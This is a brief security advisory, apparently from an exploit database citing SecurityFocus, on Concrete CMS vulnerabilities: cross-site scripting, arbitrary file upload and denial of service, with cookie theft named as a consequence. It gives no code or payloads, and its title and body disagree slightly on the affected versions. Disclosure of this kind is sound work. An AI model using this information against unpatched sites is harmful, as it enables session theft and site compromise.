Concrete CMS < 5.5.21 - Multiple Vulnerabilities
source: https://www.securityfocus.com/bid/53640/info Concrete CMS is prone to following vulnerabilities because it fails to properly handle user-supplied input. 1. Multiple cross-site scripting vulnerabilities 2. An arbitrary-file-upload vulnerability 3. A denial-of-service vulnerability An attacker may leverage these issues to cause denial-of-service conditions or to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. Concrete CMS versions 5.5 and 5.5.21 are vulnerable.
